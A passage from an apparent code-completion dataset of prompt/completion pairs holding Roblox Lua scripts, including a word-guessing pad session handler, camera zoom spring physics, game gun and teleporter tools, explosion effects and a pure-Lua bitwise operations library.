Player, word: string)\n\t\tlocal userId = tostring(player.UserId)\n\t\tlocal assignedWord = player:GetAttribute(constants.WORD_ATTRIBUTE_NAME)\n\t\tlocal activeUserId = pad:GetAttribute(constants.ACTIVE_PLAYER_ATTRIBUTE)\n\n\t\tif assignedWord and userId == activeUserId then\n\t\t\tlocal isCorrect = word:lower() == assignedWord:lower()\n\n\t\t\tif isCorrect then\n\t\t\t\tplayer:SetAttribute(constants.WORD_ATTRIBUTE_NAME, \"\")\n\t\t\tend\n\n\t\t\tfor _, otherUserId in ipairs(session) do\n\t\t\t\tlocal otherPlayer = Players:GetPlayerByUserId(tonumber(otherUserId))\n\t\t\t\tRemoteEvents.WordGuessed:FireClient(otherPlayer, player, isCorrect)\n\t\t\tend\n\n\t\t\tsetNextActiveUserId(pad, session, activeUserId)\n\t\tend\n\tend\n\n\tlocal function onSessionJoined(player: Player)\n\t\tlocal userId = tostring(player.UserId)\n\n\t\tif not pad:GetAttribute(constants.ACTIVE_PLAYER_ATTRIBUTE) then\n\t\t\tpad:SetAttribute(constants.ACTIVE_PLAYER_ATTRIBUTE, userId)\n\t\tend\n\n\t\tif not player:GetAttribute(constants.WORD_ATTRIBUTE_NAME) then\n\t\t\ttable.insert(session, userId)\n\t\t\tsetWord(player)\n\t\t\tplayer:SetAttribute(constants.SESSION_ATTRIBUTE, padId)\n\t\tend\n\tend\n\n\tlocal function onSessionLeft(player: Player)\n\t\tlocal userId = tostring(player.UserId)\n\t\tlocal activeUserId = pad:GetAttribute(constants.ACTIVE_PLAYER_ATTRIBUTE)\n\n\t\tif userId == activeUserId then\n\t\t\tlocal nextActiveUserId = setNextActiveUserId(pad, session, activeUserId)\n\n\t\t\tif userId == nextActiveUserId then\n\t\t\t\tpad:SetAttribute(constants.ACTIVE_PLAYER_ATTRIBUTE, nil)\n\t\t\tend\n\t\tend\n\n\t\tlocal index = table.find(session, userId)\n\t\tif index then\n\t\t\ttable.remove(session, index)\n\t\tend\n\n\t\tplayer:SetAttribute(constants.SESSION_ATTRIBUTE, nil)\n\t\tplayer:SetAttribute(constants.WORD_ATTRIBUTE_NAME, nil)\n\tend\n\n\tlocal function onPlayerRemoving(player: Player)\n\t\tlocal userId = tostring(player.UserId)\n\t\tif table.find(session, userId) then\n\t\t\tonSessionLeft(player)\n\t\tend\n\tend\n\n\tlocal function onHeartbeat()\n\t\t-- Check for all player positions and see if they are within range of the game pads\n\t\tfor _, player in ipairs(Players:GetPlayers()) do\n\t\t\tlocal isOnPad = isPlayerOnPad(player, pad)\n\t\t\tlocal sessionId = player:GetAttribute(constants.SESSION_ATTRIBUTE)\n\n\t\t\tif isOnPad and not sessionId then\n\t\t\t\tsessionJoined:Fire(player)\n\t\t\telseif not isOnPad and sessionId == padId then\n\t\t\t\tsessionLeft:Fire(player)\n\t\t\tend\n\t\tend\n\tend\n\n\tRemoteEvents.NewWordRequested.OnServerEvent:Connect(onNewWordRequested)\n\tRemoteEvents.WordGuessed.OnServerEvent:Connect(onWordGuessed)\n\tsessionJoined.Event:Connect(onSessionJoined)\n\tsessionLeft.Event:Connect(onSessionLeft)\n\tRunService.Heartbeat:Connect(onHeartbeat)\n\tPlayers.PlayerRemoving:Connect(onPlayerRemoving)\n\n\tpad:SetAttribute(constants.SESSION_ATTRIBUTE, padId)\nend)\n"} +{"prompt": "--\n--", "completion": "\nlocal Info = {\n\t-- These are constant values. Don't change them unless you know what you're doing.\n\n\t-- Services\n\tPlayers = Game:GetService 'Players',\n\tPathfindingService = Game:GetService 'PathfindingService',\n\n\t-- Advanced settings\n\tRecomputePathFrequency = 1, -- The monster will recompute its path this many times per second\n\tRespawnWaitTime = 5, -- How long to wait before the monster respawns\n\tJumpCheckFrequency = 1, -- How many times per second it will do a jump check\n}\nlocal Data = {\n\t-- These are variable values used internally by the script. Advanced users only.\n\n\tLastRecomputePath = 0,\n\tRecomputing = false, -- Reocmputing occurs async, meaning this script will still run while it's happening. This variable will prevent the script from running two recomputes at once.\n\tPathCoords = {},\n\tIsDead = false,\n\tTimeOfDeath = 0,\n\tCurrentNode = nil,\n\tCurrentNodeIndex = 1,\n\tAutoRecompute = true,\n\tLastJumpCheck = 0,\n\tLastAttack = 0,\n\t\n\tBaseMonster = Self:Clone(),\n\tAttackTrack = nil,\n}\n"} +{"prompt": "--[[\nClasses.Dropdown\n\nThis class creates a dropdown that the user can select a list of options from.\n\nConstructors:\n\tnew(frame [instance], listFrame [instance])\n\t\t>\n\tCreate(list[] [string], max [integer])\n\t\t> Creates a dropdown from the list with a max scrolling number.\n\nProperties:\n\tFrame [instance]\n\t\t> The container frame for the dropdown. Can be used for positioning and resizing.\n\tListFrame [instance]\n \t\t> The contaienr frame for the dropdown list. Parented underneath the main container frame.\n\nMethods:\n\t:Set(option [instance]) [void]\n\t\t> option is a child of the ListFrame and you can set it as the selected option of the dropdown with this method\n\t:Get() [instance]\n\t\t> Returns the selected option frame (which is again, a child of the ListFrame)\n\t:Show(bool [boolean])\n\t\t> Set whether the dropdown list is visible or not.\n\t:Destroy() [void]\n\t\t> Destroys the RadioButtonGroup and all the events, etc that were running it.\n\nEvents:\n\t.Changed:Connect(function(option [instance])\n\t\t> Fired when the user selects a new option from the dropdown list.\n--]]", "completion": "\n\n"} +{"prompt": "--// Touch Connections", "completion": "\nL_3_:WaitForChild('Humanoid').Touched:connect(function(L_293_arg1)\n\tlocal L_294_, L_295_ = SearchResupply(L_293_arg1)\n\tif L_294_ and L_17_ then\n\t\tL_17_ = false\n\t\tL_95_ = L_24_.Ammo\n\t\tL_96_ = L_24_.StoredAmmo * L_24_.MagCount\n\t\tL_97_ = L_24_.ExplosiveAmmo\n\t\tif L_54_:FindFirstChild('Resupply') then\n\t\t\tL_54_.Resupply:Play()\n\t\tend\n\t\twait(15)\n\t\tL_17_ = true\n\tend;\nend)\n"} +{"prompt": "-- Fonction pour afficher l'\u00e9cran GUI lors de la connexion d'un joueur", "completion": "\nlocal function showGUI(player)\n\t-- V\u00e9rifier si le joueur est d\u00e9j\u00e0 mort (pour \u00e9viter l'affichage du GUI lorsqu'il r\u00e9appara\u00eet)\n\tlocal character = player.Character\n\tif character and character:FindFirstChild(\"Humanoid\") and character.Humanoid.Health <= 0 then\n\t\treturn\n\tend\n\n\t-- Cloner l'objet GUI et l'attacher au joueur\n\tlocal playerGui = player:WaitForChild(\"PlayerGui\")\n\tlocal clonedGUI = gui:Clone()\n\tclonedGUI.Parent = playerGui\nend\n"} +{"prompt": "--// Services", "completion": "\nlocal L_12_ = game:GetService('UserInputService')\nlocal L_13_ = game:GetService('RunService')\nlocal L_14_ = game:GetService('TweenService')\n"} +{"prompt": "-- Zoom\n-- Controls the distance between the focus and the camera.", "completion": "\n\nlocal ZOOM_STIFFNESS = 4.5\nlocal ZOOM_DEFAULT = 12.5\nlocal ZOOM_ACCELERATION = 0.0375\n\nlocal MIN_FOCUS_DIST = 0.5\nlocal DIST_OPAQUE = 1\n\nlocal Popper = require(script:WaitForChild(\"Popper\"))\n\nlocal clamp = math.clamp\nlocal exp = math.exp\nlocal min = math.min\nlocal max = math.max\nlocal pi = math.pi\n\nlocal cameraMinZoomDistance, cameraMaxZoomDistance do\n\tlocal Player = game:GetService(\"Players\").LocalPlayer\n\n\tlocal function updateBounds()\n\t\tcameraMinZoomDistance = Player.CameraMinZoomDistance\n\t\tcameraMaxZoomDistance = Player.CameraMaxZoomDistance\n\tend\n\n\tupdateBounds()\n\n\tPlayer:GetPropertyChangedSignal(\"CameraMinZoomDistance\"):Connect(updateBounds)\n\tPlayer:GetPropertyChangedSignal(\"CameraMaxZoomDistance\"):Connect(updateBounds)\nend\n\nlocal ConstrainedSpring = {} do\n\tConstrainedSpring.__index = ConstrainedSpring\n\n\tfunction ConstrainedSpring.new(freq, x, minValue, maxValue)\n\t\tx = clamp(x, minValue, maxValue)\n\t\treturn setmetatable({\n\t\t\tfreq = freq, -- Undamped frequency (Hz)\n\t\t\tx = x, -- Current position\n\t\t\tv = 0, -- Current velocity\n\t\t\tminValue = minValue, -- Minimum bound\n\t\t\tmaxValue = maxValue, -- Maximum bound\n\t\t\tgoal = x, -- Goal position\n\t\t}, ConstrainedSpring)\n\tend\n\n\tfunction ConstrainedSpring:Step(dt)\n\t\tlocal freq = self.freq*2*pi -- Convert from Hz to rad/s\n\t\tlocal x = self.x\n\t\tlocal v = self.v\n\t\tlocal minValue = self.minValue\n\t\tlocal maxValue = self.maxValue\n\t\tlocal goal = self.goal\n\n\t\t-- Solve the spring ODE for position and velocity after time t, assuming critical damping:\n\t\t-- 2*f*x'[t] + x''[t] = f^2*(g - x[t])\n\t\t-- Knowns are x[0] and x'[0].\n\t\t-- Solve for x[t] and x'[t].\n\n\t\tlocal offset = goal - x\n\t\tlocal step = freq*dt\n\t\tlocal decay = exp(-step)\n\n\t\tlocal x1 = goal + (v*dt - offset*(step + 1))*decay\n\t\tlocal v1 = ((offset*freq - v)*step + v)*decay\n\n\t\t-- Constrain\n\t\tif x1 < minValue then\n\t\t\tx1 = minValue\n\t\t\tv1 = 0\n\t\telseif x1 > maxValue then\n\t\t\tx1 = maxValue\n\t\t\tv1 = 0\n\t\tend\n\n\t\tself.x = x1\n\t\tself.v = v1\n\n\t\treturn x1\n\tend\nend\n\nlocal zoomSpring = ConstrainedSpring.new(ZOOM_STIFFNESS, ZOOM_DEFAULT, MIN_FOCUS_DIST, cameraMaxZoomDistance)\n\nlocal function stepTargetZoom(z, dz, zoomMin, zoomMax)\n\tz = clamp(z + dz*(1 + z*ZOOM_ACCELERATION), zoomMin, zoomMax)\n\tif z < DIST_OPAQUE then\n\t\tz = dz <= 0 and zoomMin or DIST_OPAQUE\n\tend\n\treturn z\nend\n\nlocal zoomDelta = 0\n\nlocal Zoom = {} do\n\tfunction Zoom.Update(renderDt, focus, extrapolation)\n\t\tlocal poppedZoom = math.huge\n\n\t\tif zoomSpring.goal > DIST_OPAQUE then\n\t\t\t-- Make a pessimistic estimate of zoom distance for this step without accounting for poppercam\n\t\t\tlocal maxPossibleZoom = max(\n\t\t\t\tzoomSpring.x,\n\t\t\t\tstepTargetZoom(zoomSpring.goal, zoomDelta, cameraMinZoomDistance, cameraMaxZoomDistance)\n\t\t\t)\n\n\t\t\t-- Run the Popper algorithm on the feasible zoom range, [MIN_FOCUS_DIST, maxPossibleZoom]\n\t\t\tpoppedZoom = Popper(\n\t\t\t\tfocus*CFrame.new(0, 0, MIN_FOCUS_DIST),\n\t\t\t\tmaxPossibleZoom - MIN_FOCUS_DIST,\n\t\t\t\textrapolation\n\t\t\t) + MIN_FOCUS_DIST\n\t\tend\n\n\t\tzoomSpring.minValue = MIN_FOCUS_DIST\n\t\tzoomSpring.maxValue = min(cameraMaxZoomDistance, poppedZoom)\n\n\t\treturn zoomSpring:Step(renderDt)\n\tend\n\n\tfunction Zoom.SetZoomParameters(targetZoom, newZoomDelta)\n\t\tzoomSpring.goal = targetZoom\n\t\tzoomDelta = newZoomDelta\n\tend\nend\n\nreturn Zoom\n"} +{"prompt": "-- Etc", "completion": "\nlocal DESTROY_ON_DEATH = getValueFromConfig(\"DestroyOnDeath\")\nlocal RAGDOLL_ENABLED = getValueFromConfig(\"RagdollEnabled\")\n\nlocal DEATH_DESTROY_DELAY = 5\nlocal PATROL_WALKSPEED = 16\nlocal MIN_REPOSITION_TIME = 2\nlocal MAX_REPOSITION_TIME = 10\nlocal MAX_PARTS_PER_HEARTBEAT = 50\nlocal ATTACK_STAND_TIME = 1\nlocal HITBOX_SIZE = Vector3.new(5, 3, 4)\nlocal SEARCH_DELAY = 1\nlocal ATTACK_RANGE = 3\nlocal ATTACK_DELAY = 1\nlocal ATTACK_MIN_WALKSPEED = 15\nlocal ATTACK_MAX_WALKSPEED = 15\n"} +{"prompt": "--------------------------------------------------------------------------", "completion": "\n\nlocal _WHEELTUNE = {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t--[[\t\n\t\t\tSS6 Presets\n\t[Eco]\t\t\n\t\tWearSpeed = 1,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Road]\t\t\n\t\tWearSpeed = 2,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Sport]\t\t\n\t\tWearSpeed = 3,\n\t\tTargetFriction = .79,\n\t\tMinFriction = .1,\t\t\t\t\t\t\t\t\t\t\t]]\n\n\tTireWearOn \t\t= false\t,\n\t\n\t--Friction and Wear\n\tFWearSpeed\t\t= 1 \t,\n\tFTargetFriction\t= 2.5\t,\n\tFMinFriction \t= 2.25\t,\n\t\n\tRWearSpeed\t\t= 1 \t,\n\tRTargetFriction\t= 2.75\t,\n\tRMinFriction\t= 2.5\t,\n\t\n\t--Tire Slip\n\tTCSOffRatio\t\t= 1/3\t,\n\tWheelLockRatio\t= 1/2\t,\t--SS6 Default = 1/4\n\tWheelspinRatio\t= 1/1.1\t,\t--SS6 Default = 1/1.2\n\t\n\t--Wheel Properties\n\tFFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyFrWeight\t= 10\t,\n\tRLgcyFrWeight\t= 10\t,\n\t\n\tFElasticity\t\t= .5\t\t,\t--SS6 Default = .5\n\tRElasticity\t\t= .5\t\t,\t--SS6 Default = .5\n\tFLgcyElasticity\t= 0\t\t,\n\tRLgcyElasticity\t= 0\t\t,\n\t\n\tFElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyElWeight\t= 10\t,\n\tRLgcyElWeight\t= 10\t,\n\t\n\t--Wear Regen\n\tRegenSpeed\t\t= 3.6\t\t--SS6 Default = 3.6\n}\n"} +{"prompt": "-- functions", "completion": "\n\nreturn function(position, radius)\n\tlocal explosion\t\t= script.Explosion:Clone()\n\t\texplosion.CFrame\t= CFrame.new(position)\n\t\texplosion.Parent\t= EFFECTS\n\t\t\n\texplosion.FlashEmitter.Size\t= NumberSequence.new(radius * 2, 0)\n\texplosion.FlashEmitter:Emit(3)\n\t\n\texplosion.PointLight.Range\t= radius\n\tlocal lightInfo\t\t= TweenInfo.new(4, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)\n\tlocal lightTween\t= TweenService:Create(explosion.PointLight, lightInfo, {Range = 0})\n\tlightTween:Play()\n\t\n\tfor i = 1, 10 do\n\t\tlocal meteor\t= script.Meteor:Clone()\n\t\t\tmeteor.CFrame\t= CFrame.new(position)\n\t\t\tmeteor.Parent\t= EFFECTS\n\t\t\tmeteor.Velocity\t= Vector3.new(math.random(-50, 50), math.random(40, 80), math.random(-50, 50)) * math.random(10, 20) / 10\n\t\t\t\n\t\tDebris:AddItem(meteor, 6)\n\tend\n\t\n\texplosion[\"ExplosionSound\" .. tostring(math.random(10))]:Play()\n\texplosion.SmokeEmitter:Emit(15)\n\texplosion.FireEmitter:Emit(30)\n\t\n\tlocal range\t\t= radius * 5\n\tlocal distance\t= (CAMERA.CFrame.p - position).Magnitude\n\t\n\tif distance < range then\n\t\tlocal amount\t= 1 - (distance / range)\n\t\tlocal direction\t= CAMERA.CFrame:vectorToObjectSpace((CAMERA.CFrame.p - position).Unit)\n\t\tEVENTS.Shake:Fire(direction * 100 * amount)\n\tend\n\t\n\tDebris:AddItem(explosion, 10)\nend\n"} +{"prompt": "--Setup script (It's automatic, you don't need to edit)", "completion": "\nlocal MODEL = script.Parent\n\nlocal CONFIG = MODEL.Configuration\nlocal CAMERA1 = MODEL.Camera1\nlocal CAMERA2 = MODEL.Camera2\nlocal TRIGGER = MODEL.CutscenePart\nlocal SCRIPT = MODEL.CutsceneScript\n\nCONFIG.Parent = SCRIPT\nCAMERA1.Parent = workspace\nCAMERA1.Transparency = 1\nCAMERA2.Parent = workspace\nCAMERA2.Transparency = 1\nTRIGGER.Parent = workspace\nSCRIPT.Parent = game.StarterPlayer.StarterPlayerScripts\nMODEL:Destroy()\n"} +{"prompt": "--[[\n\nLUA MODULE\n\n bit.numberlua - Bitwise operations implemented in pure Lua as numbers,\n with Lua 5.2 'bit32' and (LuaJIT) LuaBitOp 'bit' compatibility interfaces.\n\nSYNOPSIS\n\n local bit = require 'bit.numberlua'\n print(bit.band(0xff00ff00, 0x00ff00ff)) --> 0xffffffff\n \n -- Interface providing strong Lua 5.2 'bit32' compatibility\n local bit32 = require 'bit.numberlua'.bit32\n assert(bit32.band(-1) == 0xffffffff)\n \n -- Interface providing strong (LuaJIT) LuaBitOp 'bit' compatibility\n local bit = require 'bit.numberlua'.bit\n assert(bit.tobit(0xffffffff) == -1)\n \nDESCRIPTION\n \n This library implements bitwise operations entirely in Lua.\n This module is typically intended if for some reasons you don't want\n to or cannot install a popular C based bit library like BitOp 'bit' [1]\n (which comes pre-installed with LuaJIT) or 'bit32' (which comes\n pre-installed with Lua 5.2) but want a similar interface.\n \n This modules represents bit arrays as non-negative Lua numbers. [1]\n It can represent 32-bit bit arrays when Lua is compiled\n with lua_Number as double-precision IEEE 754 floating point.\n\n The module is nearly the most efficient it can be but may be a few times\n slower than the C based bit libraries and is orders or magnitude\n slower than LuaJIT bit operations, which compile to native code. Therefore,\n this library is inferior in performane to the other modules.\n\n The `xor` function in this module is based partly on Roberto Ierusalimschy's\n post in http://lua-users.org/lists/lua-l/2002-09/msg00134.html .\n \n The included BIT.bit32 and BIT.bit sublibraries aims to provide 100%\n compatibility with the Lua 5.2 \"bit32\" and (LuaJIT) LuaBitOp \"bit\" library.\n This compatbility is at the cost of some efficiency since inputted\n numbers are normalized and more general forms (e.g. multi-argument\n bitwise operators) are supported.\n \nSTATUS\n\n WARNING: Not all corner cases have been tested and documented.\n Some attempt was made to make these similar to the Lua 5.2 [2]\n and LuaJit BitOp [3] libraries, but this is not fully tested and there\n are currently some differences. Addressing these differences may\n be improved in the future but it is not yet fully determined how to\n resolve these differences.\n \n The BIT.bit32 library passes the Lua 5.2 test suite (bitwise.lua)\n http://www.lua.org/tests/5.2/ . The BIT.bit library passes the LuaBitOp\n test suite (bittest.lua). However, these have not been tested on\n platforms with Lua compiled with 32-bit integer numbers.\n\nAPI\n\n BIT.tobit(x) --> z\n \n Similar to function in BitOp.\n \n BIT.tohex(x, n)\n \n Similar to function in BitOp.\n \n BIT.band(x, y) --> z\n \n Similar to function in Lua 5.2 and BitOp but requires two arguments.\n \n BIT.bor(x, y) --> z\n \n Similar to function in Lua 5.2 and BitOp but requires two arguments.\n\n BIT.bxor(x, y) --> z\n \n Similar to function in Lua 5.2 and BitOp but requires two arguments.\n \n BIT.bnot(x) --> z\n \n Similar to function in Lua 5.2 and BitOp.\n\n BIT.lshift(x, disp) --> z\n \n Similar to function in Lua 5.2 (warning: BitOp uses unsigned lower 5 bits of shift),\n \n BIT.rshift(x, disp) --> z\n \n Similar to function in Lua 5.2 (warning: BitOp uses unsigned lower 5 bits of shift),\n\n BIT.extract(x, field [, width]) --> z\n \n Similar to function in Lua 5.2.\n \n BIT.replace(x, v, field, width) --> z\n \n Similar to function in Lua 5.2.\n \n BIT.bswap(x) --> z\n \n Similar to function in Lua 5.2.\n\n BIT.rrotate(x, disp) --> z\n BIT.ror(x, disp) --> z\n \n Similar to function in Lua 5.2 and BitOp.\n\n BIT.lrotate(x, disp) --> z\n BIT.rol(x, disp) --> z\n\n Similar to function in Lua 5.2 and BitOp.\n \n BIT.arshift\n \n Similar to function in Lua 5.2 and BitOp.\n \n BIT.btest\n \n Similar to function in Lua 5.2 with requires two arguments.\n\n BIT.bit32\n \n This table contains functions that aim to provide 100% compatibility\n with the Lua 5.2 \"bit32\" library.\n \n bit32.arshift (x, disp) --> z\n bit32.band (...) --> z\n bit32.bnot (x) --> z\n bit32.bor (...) --> z\n bit32.btest (...) --> true | false\n bit32.bxor (...) --> z\n bit32.extract (x, field [, width]) --> z\n bit32.replace (x, v, field [, width]) --> z\n bit32.lrotate (x, disp) --> z\n bit32.lshift (x, disp) --> z\n bit32.rrotate (x, disp) --> z\n bit32.rshift (x, disp) --> z\n\n BIT.bit\n \n This table contains functions that aim to provide 100% compatibility\n with the LuaBitOp \"bit\" library (from LuaJIT).\n \n bit.tobit(x) --> y\n bit.tohex(x [,n]) --> y\n bit.bnot(x) --> y\n bit.bor(x1 [,x2...]) --> y\n bit.band(x1 [,x2...]) --> y\n bit.bxor(x1 [,x2...]) --> y\n bit.lshift(x, n) --> y\n bit.rshift(x, n) --> y\n bit.arshift(x, n) --> y\n bit.rol(x, n) --> y\n bit.ror(x, n) --> y\n bit.bswap(x) --> y\n \nDEPENDENCIES\n\n None (other than Lua 5.1 or 5.2).\n \nDOWNLOAD/INSTALLATION\n\n If using LuaRocks:\n luarocks install lua-bit-numberlua\n\n Otherwise, download .\n Alternately, if using git:\n git clone git://github.com/davidm/lua-bit-numberlua.git\n cd lua-bit-numberlua\n Optionally unpack:\n ./util.mk\n or unpack and install in LuaRocks:\n ./util.mk install \n\nREFERENCES\n\n [1] http://lua-users.org/wiki/FloatingPoint\n [2] http://www.lua.org/manual/5.2/\n [3] http://bitop.luajit.org/\n \nLICENSE\n\n (c) 2008-2011 David Manura. Licensed under the same terms as Lua (MIT).\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n (end license)\n\n--]]", "completion": "\n\nlocal M = {_TYPE='module', _NAME='bit.numberlua', _VERSION='0.3.1.20120131'}\n\nM.bits = 32\n\nlocal floor = math.floor\n\nlocal MOD = 2^32\nlocal MODM = MOD-1\n\nlocal function memoize(f)\n local mt = {}\n local t = setmetatable({}, mt)\n function mt:__index(k)\n local v = f(k); t[k] = v\n return v\n end\n return t\nend\n\nlocal function make_bitop_uncached(t, m)\n local function bitop(a, b)\n local res,p = 0,1\n while a ~= 0 and b ~= 0 do\n local am, bm = a%m, b%m\n res = res + t[am][bm]*p\n a = (a - am) / m\n b = (b - bm) / m\n p = p*m\n end\n res = res + (a+b)*p\n return res\n end\n return bitop\nend\n\nlocal function make_bitop(t)\n local op1 = make_bitop_uncached(t,2^1)\n local op2 = memoize(function(a)\n return memoize(function(b)\n return op1(a, b)\n end)\n end)\n return make_bitop_uncached(op2, 2^(t.n or 1))\nend\n"} +{"prompt": "--Directly taken from roblox's page", "completion": "\n\nlocal LocalizationService = game:GetService(\"LocalizationService\")\nlocal Players = game:GetService(\"Players\")\n\nlocal SOURCE_LOCALE = \"en\"\nlocal translator = nil\n\nlocal AnimateUI = {}\n\nfunction AnimateUI.loadTranslator()\n\tpcall(function()\n\t\ttranslator = LocalizationService:GetTranslatorForPlayerAsync(Players.LocalPlayer)\n\tend)\n\tif not translator then\n\t\tpcall(function()\n\t\t\ttranslator = LocalizationService:GetTranslatorForLocaleAsync(SOURCE_LOCALE)\n\t\tend)\n\tend\nend\n\nfunction AnimateUI.typeWrite(guiObject, text, delayBetweenChars)\n\tguiObject.Visible = true\n\tguiObject.AutoLocalize = false\n\tlocal displayText = text\n\t\n\t-- Translate text if possible\n\tif translator then\n\t\tdisplayText = translator:Translate(guiObject, text)\n\tend\n\t\n\t-- Replace line break tags so grapheme loop will not miss those characters\n\tdisplayText = displayText:gsub(\"\", \"\\n\")\n\tdisplayText:gsub(\"<[^<>]->\", \"\")\n\t\n\t-- Set translated/modified text on parent\n\tguiObject.Text = displayText\n\t\n\tlocal index = 0\n\tfor _,_ in utf8.graphemes(displayText) do\n\t\tindex += 1\n\t\tguiObject.MaxVisibleGraphemes = index\n\t\ttask.wait(delayBetweenChars)\n\tend\nend\n\nreturn AnimateUI\n\n"} +{"prompt": "--Let's define a function that runs whenever something touches the teleporter part", "completion": "\nfunction onTouch(part)\n\tif (part == nil or part.Parent == nil) then return end --Failsafe in case the part is destroyed for some reason\n\t\n\t--More like \"teleport only humanoids\" but okay\n\tif (config.TeleportOnlyPlayers.Value) then\n\t\tif (part.Parent:findFirstChild(\"Humanoid\") == nil) then return end --Stop if we can't find a humanoid\n\tend\n\t\n\t--Wait for the part to move towards the center of the part (or be removed)\n\twhile true do\n\t\twait(0.1)\n\t\t--These are the conditions the part needs to meet to continue\n\t\tif (((telePart.Position-part.Position)*Vector3.new(1,0,1)).magnitude < 1.5 and \n\t\t\tpart.Velocity.magnitude < 0.5 and\n\t\t\tnot isBusy) then break end\n\t\t\n\t\t--These are the conditions under which the part is disqualified\n\t\tif (((telePart.Position-part.Position)*Vector3.new(1,0,1)).magnitude > 10) then return end --Stop because they walked away\n\t\tif (part.Parent == nil) then return end --Don't care about it if it's removed\n\tend\n\t\n\tif (part.Parent == nil) then return end --Stop if the part was removed\n\t\n\t--Find the other teleporter\t\n\tlocal target = Register:GetTeleporter(config.Destination.Value)\n\tif (target == nil) then return end --Do nothing if it can't find it\n\t\n\tindicator.BrickColor = BrickColor.new(\"Really red\") --Turn the indicator red to let everyone know we're busy\n\t\n\tisBusy = true --Set this to true so we don't teleport multiple things at once\t\n\twait(1) --Wait one second for dramatic effect\n\t\n\t--We need to check again *sigh* because they might have walked off\n\tif (((telePart.Position-part.Position)*Vector3.new(1,0,1)).magnitude >= 1.5 or part.Velocity.magnitude >= 0.5) then \n\t\tindicator.BrickColor = BrickColor.new(\"Lime green\") --Turn the indicator green to let everyone know we finished\n\t\tisBusy = false --Also disable the debounce\n\t\treturn \n\tend\n\t\n\t--Now get all the parts attached to the one we're teleporting\n\tlocal parts = {}\n\tgetAssemblyParts(part,parts)\n\t\n\t--Also check if there's a humanoid so it doesn't do its no-physics walk magic\n\tlocal humanoid = part.Parent:findFirstChild(\"Humanoid\")\n\tlocal walkspeed = 0 --Save the walkspeed of any humanoids (keep this for scope)\n\tif (humanoid) then\n\t\twalkspeed = humanoid.WalkSpeed --Here we go, let's save this\n\t\thumanoid.WalkSpeed = 0 --Then we make sure they can't run away\n\tend\n\t\n\t--Anchor the assembly and figure out where to put all the parts\n\tlocal cframes = {}\n\tfor _,v in pairs(parts) do\n\t\tv.Anchored = true\n\t\tcframes[v] = telePart.CFrame:toObjectSpace(v.CFrame)\n\tend\n\t\n\t--Play a sound and do a super fancy effect\n\tNetworking.StartEffect:FireAllClients(part,telePart,target.Parts.Teleporter)\n\tglowPart.Transparency = 1\n\t\n\ttarget.Scripting.ForceSetBusy:Fire() --Tell the other teleporter that we're coming!\n\twait(4.5) --Wait for all of that to finish\n\tfor _,v in pairs(parts) do\n\t\tv.CFrame = (target.Parts.Teleporter.CFrame * CFrame.new(0,1,0)) * cframes[v]\n\t\tv.Anchored = false\n\tend\n\t\n\t--Change the walkspeed back if we changed it earlier\n\tif (humanoid) then\n\t\thumanoid.WalkSpeed = walkspeed\n\tend\n\t\n\twait(3)\n\t\n\tglowPart.Transparency = 0\n\tindicator.BrickColor = BrickColor.new(\"Lime green\") --Turn the indicator green to let everyone know we finished\n\tisBusy = false\nend\n\ntelePart.Touched:connect(onTouch) --Connect the touch event to the function we defined\n"} +{"prompt": "--Made by Stickmasterluke", "completion": "\n\n\nlocal tool = script.Parent\n\n\nlocal firerate = 1\nlocal range = 200\n\n\nlocal handle = tool:WaitForChild(\"Handle\")\nlocal event = tool:WaitForChild(\"RemoteEvent\")\nlocal firesound = handle:WaitForChild(\"FireSound\")\n\n\nlocal check = true\n\n\nfunction checkintangible(hit)\n\tif hit and hit~=nil then\n\t\tif hit:IsDescendantOf(tool.Parent) or hit.Transparency>.8 or hit.Name==\"Handle\" or string.lower(string.sub(hit.Name,1,6))==\"effect\" then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction castray(startpos, vec, length, ignore, delayifhit)\n\tlocal hit, endpos2 = game.Workspace:FindPartOnRay(Ray.new(startpos ,vec * length), ignore)\n\tif hit~=nil then\n\t\tif checkintangible(hit) then\n\t\t\thit, endpos2 = castray(endpos2+(vec*.01),vec,length-((startpos-endpos2).magnitude),ignore,delayifhit)\n\t\tend\n\tend\n\treturn hit,endpos2\nend\n\n\ntool.Equipped:connect(function(mouse)\n\tequipped = true\n\tif mouse then\n\t\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\t\tmouse.Button1Down:connect(function()\n\t\t\tlocal humanoid = tool.Parent:FindFirstChild(\"Humanoid\")\n\t\t\tlocal head = tool.Parent:FindFirstChild(\"Head\")\n\t\t\tlocal torso = tool.Parent:FindFirstChild(\"Torso\")\n\t\t\tif check and humanoid and humanoid.Health > 0 and head and torso then\n\t\t\t\tcheck = false\n\t\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\t\t\t\n\t\t\t\tfiresound:Play()\n\n\t\t\t\tlocal vec = (mouse.Hit.p - head.Position).unit\n\t\t\t\tlocal hit ,endpos = castray(head.Position, vec, range, tool.Parent)\n\n\t\t\t\tevent:FireServer(\"Fire\", endpos, hit)\n\n\t\t\t\twait(firerate)\n\t\t\t\tif mouse 